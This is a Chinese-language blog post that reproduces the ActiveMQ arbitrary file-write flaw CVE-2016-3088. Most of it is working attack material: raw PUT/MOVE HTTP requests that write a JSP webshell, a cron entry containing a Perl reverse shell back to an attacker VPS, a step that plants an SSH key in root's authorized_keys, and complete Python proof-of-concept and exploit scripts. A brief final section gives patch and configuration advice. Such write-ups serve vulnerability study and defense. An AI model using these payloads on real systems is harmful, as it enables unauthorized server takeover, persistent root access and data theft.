发布于 

CVE-2016-3088(ActiveMQ任意文件写入)

1. 漏洞描述

全称:ActiveMQ任意文件写入漏洞

描述:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录(fileserver是一个RESTful API接口,我们可以通过、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作)。ActiveMQ是一款流行的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

2. 默认端口密码

  • 默认端口:8161
  • 默认密码:admin/admin

3. 利用版本

ActiveMQ < 5.14.0

4. 漏洞复现

4.1 获取绝对路径

1
http://your-ip:8161/admin/test/systemProperties.jsp

image-20221010092422446

4.2 发送PUT请求

image-20221010004857533

4.3 构造MOVE请求

1
2
MOVE /fileserver/2.txt HTTP/1.1 # 将PUT改成MOVE
Destination:file:///opt/activemq/webapps/admin/s.jsp # 得加这行才可以

image-20221010005031661

4.4 测试

image-20221010005128768

已经成功写入了。

5. 写入cron和ssh-key

5.1 写入cron自动弹shell

利用条件:ActiveMQ是root运行。因为cron服务是默认启动的,所以这是一个最稳的方法。

Alpine 系统

写入 /etc/cron.d/root

1
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ubuntu 系统

写入 /var/spool/cron/crontabs/root

1
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

上传cron配置

1
2
3
4
5
6
7
8
9
10
11
12
PUT /fileserver/cron.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 254

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root

1
2
3
4
5
6
7
8
9
10
11
12
MOVE /fileserver/cron.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0

5.2 写入SSH-Key

利用条件:docker容器中的环境需要安装sshd服务并且建立/root/.ssh文件夹,开启ssh-key登陆。

生成密钥对

1
ssh-keygen -t rsa

上传公钥

1
2
3
4
5
6
7
8
9
10
11
12
PUT /fileserver/id_rsa.pub HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 383

ssh-rsa AAA***mJv ***@***

移动重命名

1
2
3
4
5
6
7
8
9
10
11
12
MOVE /fileserver/id_rsa.pub HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0

攻击机连接

1
ssh -i id_rsa root@your-ip

6. POC&&EXP

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File :2.ActiveMQFileWrite.py
@Author :UzJu
@Date :2021/12/27 10:26 下午
@Email :UzJuer@163.com
'''

import requests


class ActiveMQFileWrite:
def __init__(self, url, username, password):
self.url = url
self.poc = "UzJu_test"
self.path = "/fileserver/UzJu_1.txt"
self.username = username
self.password = password

def getUploadFile(self):
result = requests.put(url=self.url + self.path,
data=self.poc)
if result.status_code == 204:
print(f"[+]WebShell-{self.poc}写入成功")
else:
print(f'[-]写入失败, 状态码:{result.status_code}')

def getAndMoveFile(self):
headers = {
"Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp"
}
result = requests.request("MOVE",
url=self.url + self.path,
headers=headers)
if result.status_code == 204:
print(f"[+]文件移动成功,请访问,{self.url}/api/UzJu_1.jsp")
else:
print(f"[-]文件移动失败,状态码:{result.status_code}")

def getCheckVuln(self):
result = requests.get(url=self.url + "/api/UzJu_1.jsp",
auth=(self.username, self.password))
if result.status_code == 200:
print(f"[+]存在漏洞, Payload: {result.text}")
else:
print(f"[-]不存在漏洞,或文件上传失败,或其他原因")


if __name__ == '__main__':
main = ActiveMQFileWrite('http://ip:8161', "admin", "admin")
main.getUploadFile()
main.getAndMoveFile()
main.getCheckVuln()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python
# -*- coding:utf-8 -*-

import re
import base64
import requests
import argparse

def exp(domain, port, passwd):
if 'http' not in domain:
domain = "http://" + domain
domain = domain + ":{}".format(port)
admin_path_domain = domain + "/admin/test/systemProperties.jsp"
login = 'admin:{}'.format(passwd)
login_base = base64.b64encode(login.encode('utf-8'))

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
'Authorization': 'Basic {}'.format(login_base.decode('utf-8')),
}

path_req = requests.get(admin_path_domain, headers=headers)
if path_req.status_code == 200:
root_path = re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', path_req.text, re.S)[0]

uptext = '''your code'''

put_domain = domain + '/fileserver/shell.txt'
put_req = requests.put(put_domain, headers=headers, data=uptext)
if put_req.status_code == 204:
move_file_header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
'Destination': 'file://{}/webapps/api/shell.jsp'.format(root_path)
}
move_req = requests.request("MOVE", put_domain, headers=move_file_header)
if move_req.status_code == 204:
print("\033[1;32m[+] Success!\nFile Path:[ %s ]\033[0m" %(domain + "/api/shell.jsp"))
else:
print("\033[1;31m [-] Move Fail,status code's{},please check!\033[0m".format(move_req.status_code))
else:
print("\033[1;31m [-] Write Fail,status code's{},maybe is not CVE-2016-3088!\033[0m".format(put_req.status_code))
else:
print("\033[1;31m [-] Login Fail,please check the password!")

if __name__ == '__main__':
description = '''use method:
python3 cve-2016-3088.py -d 127.0.0.1
python3 cve-2016-3088.py -d 127.0.0.1 -p 8161 -P password'''
parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawDescriptionHelpFormatter)
try:
parser.add_argument('-d', '--domain', help='target domain, required')
parser.add_argument('-p', '--port', default='8161', help='target port, default 8161')
parser.add_argument('-P', '--password', default='admin', help='target password, default admin')
args = parser.parse_args()
exp(domain=args.domain, port=args.port, passwd=args.password)
except:
parser.print_help()

7. 修复建议

  1. ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本

  2. 通过移除 conf/jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能。

    1
    2
    3
    4
    5
    6
    <bean class="org.eclipse.jetty.webapp.WebAppContext">
    <property name="contextPath" value="/fileserver" />
    <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
    <property name="logUrlOnStart" value="true" />
    <property name="parentLoaderPriority" value="true" />
    </bean>